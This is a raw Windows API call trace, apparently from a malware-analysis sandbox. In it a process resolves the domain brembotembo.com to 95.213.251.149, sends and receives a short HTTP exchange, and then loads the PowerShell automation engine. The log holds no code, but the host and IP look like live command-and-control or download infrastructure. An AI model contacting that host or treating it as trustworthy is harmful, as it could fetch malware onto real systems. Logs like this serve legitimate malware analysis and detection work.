0x3b0 [0064.717] ioctlsocket (in: s=0x30c, cmd=-2147195266, argp=0x1c67d938 | out: argp=0x1c67d938) returned 0 [0064.717] WSAIoctl (in: s=0x410, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c67d8b0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c67d8b0, lpOverlapped=0x0) returned -1 [0064.718] CoTaskMemAlloc (cb=0x204) returned 0x13db90 [0064.718] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x13db90, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0064.719] CoTaskMemFree (pv=0x13db90) [0064.719] WSAEventSelect (s=0x410, hEventObject=0x390, lNetworkEvents=512) returned 0 [0064.719] WSAIoctl (in: s=0x30c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c67d8b0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c67d8b0, lpOverlapped=0x0) returned -1 [0064.719] CoTaskMemAlloc (cb=0x204) returned 0x13db90 [0064.719] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x13db90, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0064.719] CoTaskMemFree (pv=0x13db90) [0064.719] WSAEventSelect (s=0x30c, hEventObject=0x3b0, lNetworkEvents=512) returned 0 [0064.719] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x344 [0064.720] RasConnectionNotificationW (param_1=0xffffffffffffffff, param_2=0x344, param_3=0x3) returned 0x0 [0064.724] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x1c67d9f0 | out: phkResult=0x1c67d9f0*=0x358) returned 0x0 [0064.725] RegOpenKeyExW (in: hKey=0x358, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c67d8d8 | out: phkResult=0x1c67d8d8*=0x35c) returned 0x0 [0064.725] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x360 [0064.726] RegNotifyChangeKeyValue (hKey=0x35c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x360, fAsynchronous=1) returned 0x0 [0064.726] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c67d900 | out: phkResult=0x1c67d900*=0x364) returned 0x0 [0064.726] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x40c [0064.726] RegNotifyChangeKeyValue (hKey=0x364, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x40c, fAsynchronous=1) returned 0x0 [0064.726] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c67d900 | out: phkResult=0x1c67d900*=0x370) returned 0x0 [0064.726] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x418 [0064.726] RegNotifyChangeKeyValue (hKey=0x370, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x418, fAsynchronous=1) returned 0x0 [0064.727] GetCurrentProcess () returned 0xffffffffffffffff [0064.727] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67d868 | out: TokenHandle=0x1c67d868*=0x41c) returned 1 [0064.730] GetCurrentProcess () returned 0xffffffffffffffff [0064.730] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67d038 | out: TokenHandle=0x1c67d038*=0x420) returned 1 [0064.733] GetCurrentProcess () returned 0xffffffffffffffff [0064.733] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67d038 | out: TokenHandle=0x1c67d038*=0x424) returned 1 [0064.742] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1c67d938 | out: pProxyConfig=0x1c67d938) returned 1 [0064.782] SetEvent (hEvent=0x368) returned 1 [0064.794] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67d0a8 | out: TokenHandle=0x1c67d0a8*=0x484) returned 1 [0064.796] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67d0a8 | out: TokenHandle=0x1c67d0a8*=0x488) returned 1 [0064.806] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x1c67d578 | out: pFixedInfo=0x0, pOutBufLen=0x1c67d578) returned 0x6f [0064.815] LocalAlloc (uFlags=0x0, uBytes=0x258) returned 0x1b7ca560 [0064.815] GetNetworkParams (in: pFixedInfo=0x1b7ca560, pOutBufLen=0x1c67d578 | out: pFixedInfo=0x1b7ca560, pOutBufLen=0x1c67d578) returned 0x0 [0064.822] CoTaskMemAlloc (cb=0xd) returned 0x1b7c79b0 [0064.822] inet_addr (cp="192.168.0.1") returned 0x100a8c0 [0064.822] CoTaskMemFree (pv=0x1b7c79b0) [0064.824] LocalFree (hMem=0x1b7ca560) returned 0x0 [0064.838] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x49c [0064.838] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x498 [0064.839] CoTaskMemAlloc (cb=0x11) returned 0x1b7c79b0 [0064.840] getaddrinfo (in: pNodeName="brembotembo.com", pServiceName=0x0, pHints=0x1c67d520*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1c67d518 | out: ppResult=0x1c67d518*=0x1b7c62a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="brembotembo.com", ai_addr=0x1b7c7a10*(sa_family=2, sin_port=0x0, sin_addr="95.213.251.149"), ai_next=0x0)) returned 0 [0064.847] CoTaskMemFree (pv=0x1b7c79b0) [0064.847] CoTaskMemFree (pv=0x0) [0064.847] FreeAddrInfoW (pAddrInfo=0x1b7c62a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="牢浥潢整扭⹯潣m\x1c", ai_addr=0x1b7c7a10*(sa_family=2, sin_port=0x0, sin_addr="95.213.251.149"), ai_next=0x0)) [0064.848] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4ac [0064.848] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4a4 [0064.848] ioctlsocket (in: s=0x4ac, cmd=-2147195266, argp=0x1c67d538 | out: argp=0x1c67d538) returned 0 [0064.848] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4b4 [0064.848] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4b8 [0064.848] ioctlsocket (in: s=0x4b4, cmd=-2147195266, argp=0x1c67d538 | out: argp=0x1c67d538) returned 0 [0064.848] WSAIoctl (in: s=0x4ac, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c67d4b0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c67d4b0, lpOverlapped=0x0) returned -1 [0064.848] CoTaskMemAlloc (cb=0x204) returned 0x13e1c0 [0064.848] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x13e1c0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0064.849] CoTaskMemFree (pv=0x13e1c0) [0064.849] WSAEventSelect (s=0x4ac, hEventObject=0x4a4, lNetworkEvents=512) returned 0 [0064.849] WSAIoctl (in: s=0x4b4, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c67d4b0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c67d4b0, lpOverlapped=0x0) returned -1 [0064.849] CoTaskMemAlloc (cb=0x204) returned 0x13e1c0 [0064.849] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x13e1c0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0064.849] CoTaskMemFree (pv=0x13e1c0) [0064.849] WSAEventSelect (s=0x4b4, hEventObject=0x4b8, lNetworkEvents=512) returned 0 [0064.850] GetAdaptersAddresses () returned 0x6f [0064.852] LocalAlloc (uFlags=0x0, uBytes=0x910) returned 0x1b7e6a40 [0064.852] GetAdaptersAddresses () returned 0x0 [0064.857] LocalFree (hMem=0x1b7e6a40) returned 0x0 [0064.858] WSAConnect (in: s=0x49c, name=0x2eee7e8*(sa_family=2, sin_port=0x50, sin_addr="95.213.251.149"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0064.911] closesocket (s=0x498) returned 0 [0064.929] send (in: s=0x49c, buf=0x2ef2288*, len=70, flags=0 | out: buf=0x2ef2288*) returned 70 [0064.938] setsockopt (s=0x49c, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0064.939] recv (in: s=0x49c, buf=0x2eeb200, len=4096, flags=0 | out: buf=0x2eeb200*) returned 561 [0065.020] setsockopt (s=0x49c, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0065.025] SetEvent (hEvent=0x368) returned 1 [0065.074] VirtualQuery (in: lpAddress=0x1c67d110, lpBuffer=0x1c67dfd0, dwLength=0x30 | out: lpBuffer=0x1c67dfd0*(BaseAddress=0x1c67d000, AllocationBase=0x1bcf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0065.083] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.083] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0065.083] CoTaskMemFree (pv=0x18c780) [0065.086] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.086] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0065.086] CoTaskMemFree (pv=0x18c780) [0065.090] CoTaskMemAlloc (cb=0x20e) returned 0x1b7a1f50 [0065.090] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1b7a1f50 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop") returned 0x1a [0065.090] CoTaskMemFree (pv=0x1b7a1f50) [0065.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x1c67d210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0065.095] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\.ps1", lpFindFileData=0x1c67d3b0 | out: lpFindFileData=0x1c67d3b0) returned 0xffffffffffffffff [0065.095] SetErrorMode (uMode=0x1) returned 0x1 [0065.095] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x1c67d210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0065.095] SetErrorMode (uMode=0x1) returned 0x1 [0065.096] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\.psm1", lpFindFileData=0x1c67d3b0 | out: lpFindFileData=0x1c67d3b0) returned 0xffffffffffffffff [0065.096] SetErrorMode (uMode=0x1) returned 0x1 [0065.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x1c67d210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0065.096] SetErrorMode (uMode=0x1) returned 0x1 [0065.096] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\.psd1", lpFindFileData=0x1c67d3b0 | out: lpFindFileData=0x1c67d3b0) returned 0xffffffffffffffff [0065.096] SetErrorMode (uMode=0x1) returned 0x1 [0065.097] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x1c67d210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0065.097] SetErrorMode (uMode=0x1) returned 0x1 [0065.097] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\.COM", lpFindFileData=0x1c67d3b0 | out: lpFindFileData=0x1c67d3b0) returned 0xffffffffffffffff [0065.097] SetErrorMode (uMode=0x1) returned 0x1 [0065.097] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x1c67d210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0065.097] SetErrorMode (uMode=0x1) returned 0x1 [0065.097] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\.EXE", lpFindFileData=0x1c67d3b0 | out: lpFindFileData=0x1c67d3b0) returned 0xffffffffffffffff [0065.098] SetErrorMode (uMode=0x1) returned 0x1 [0065.098] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x1c67d210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0065.098] SetErrorMode (uMode=0x1) returned 0x1 [0065.098] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\.BAT", lpFindFileData=0x1c67d3b0 | out: lpFindFileData=0x1c67d3b0) returned 0xffffffffffffffff [0065.098] SetErrorMode (uMode=0x1) returned 0x1 [0065.098] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x1c67d210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0065.098] SetErrorMode (uMode=0x1) returned 0x1 [0065.099] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\.CMD", lpFindFileData=0x1c67d3b0 | out: lpFindFileData=0x1c67d3b0) returned 0xffffffffffffffff [0065.099] SetErrorMode (uMode=0x1) returned 0x1 [0065.099] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x1c67d210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0065.099] SetErrorMode (uMode=0x1) returned 0x1 [0065.099] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\.VBS", lpFindFileData=0x1c67d3b0 | out: lpFindFileData=0x1c67d3b0) returned 0xffffffffffffffff [0065.099] SetErrorMode (uMode=0x1) returned 0x1 [0065.099] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x1c67d210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0065.100] SetErrorMode (uMode=0x1) returned 0x1 [0065.100] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\.VBE", lpFindFileData=0x1c67d3b0 | out: lpFindFileData=0x1c67d3b0) returned 0xffffffffffffffff [0065.100] SetErrorMode (uMode=0x1) returned 0x1 [0065.100] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x1c67d210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0065.100] SetErrorMode (uMode=0x1) returned 0x1 [0065.100] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\.JS", lpFindFileData=0x1c67d3b0 | out: lpFindFileData=0x1c67d3b0) returned 0xffffffffffffffff [0065.100] SetErrorMode (uMode=0x1) returned 0x1 [0065.101] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x1c67d210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0065.101] SetErrorMode (uMode=0x1) returned 0x1 [0065.101] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\.JSE", lpFindFileData=0x1c67d3b0 | out: lpFindFileData=0x1c67d3b0) returned 0xffffffffffffffff [0065.101] SetErrorMode (uMode=0x1) returned 0x1 [0065.101] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x1c67d210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0065.101] SetErrorMode (uMode=0x1) returned 0x1 [0065.101] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\.WSF", lpFindFileData=0x1c67d3b0 | out: lpFindFileData=0x1c67d3b0) returned 0xffffffffffffffff [0065.104] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.104] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0065.104] CoTaskMemFree (pv=0x18c780) [0065.104] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.104] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0065.105] CoTaskMemFree (pv=0x18c780) [0065.105] CoTaskMemAlloc (cb=0x20e) returned 0x1b7a1f50 [0065.105] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1b7a1f50 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop") returned 0x1a [0065.105] CoTaskMemFree (pv=0x1b7a1f50) [0065.108] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.108] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.108] CoTaskMemFree (pv=0x18c780) [0065.218] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.218] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.218] CoTaskMemFree (pv=0x18c780) [0065.310] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.310] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.310] CoTaskMemFree (pv=0x18c780) [0065.312] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.312] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.313] CoTaskMemFree (pv=0x18c780) [0065.324] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.324] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.324] CoTaskMemFree (pv=0x18c780) [0065.331] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.331] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.331] CoTaskMemFree (pv=0x18c780) [0065.332] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.332] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.333] CoTaskMemFree (pv=0x18c780) [0065.341] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.341] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.341] CoTaskMemFree (pv=0x18c780) [0065.352] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.352] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.352] CoTaskMemFree (pv=0x18c780) [0065.354] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.354] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.354] CoTaskMemFree (pv=0x18c780) [0065.363] VirtualQuery (in: lpAddress=0x1c677570, lpBuffer=0x1c678430, dwLength=0x30 | out: lpBuffer=0x1c678430*(BaseAddress=0x1c677000, AllocationBase=0x1bcf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x9000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0065.364] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.364] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.364] CoTaskMemFree (pv=0x18c780) [0065.435] VirtualQuery (in: lpAddress=0x1c677570, lpBuffer=0x1c678430, dwLength=0x30 | out: lpBuffer=0x1c678430*(BaseAddress=0x1c677000, AllocationBase=0x1bcf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x9000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0065.444] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c677380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.444] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c6772d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.444] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c6772d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.444] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c6772d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.536] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c677380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.536] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c6772d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.536] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c6772d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.597] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0065.597] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x1c677970 | out: lpConsoleScreenBufferInfo=0x1c677970) returned 1 [0065.609] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.609] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.609] CoTaskMemFree (pv=0x18c780) [0065.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c677290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c677290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c677290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.715] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.715] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.716] CoTaskMemFree (pv=0x18c780) [0065.766] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0065.766] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x1c678a80 | out: lpConsoleScreenBufferInfo=0x1c678a80) returned 1 [0065.767] GetConsoleOutputCP () returned 0x1b5 [0065.768] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c6788d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c6788d0) returned 0 [0065.768] GetConsoleOutputCP () returned 0x1b5 [0065.768] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678900, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678900) returned 0 [0065.768] GetConsoleOutputCP () returned 0x1b5 [0065.768] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.768] GetConsoleOutputCP () returned 0x1b5 [0065.768] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.768] GetConsoleOutputCP () returned 0x1b5 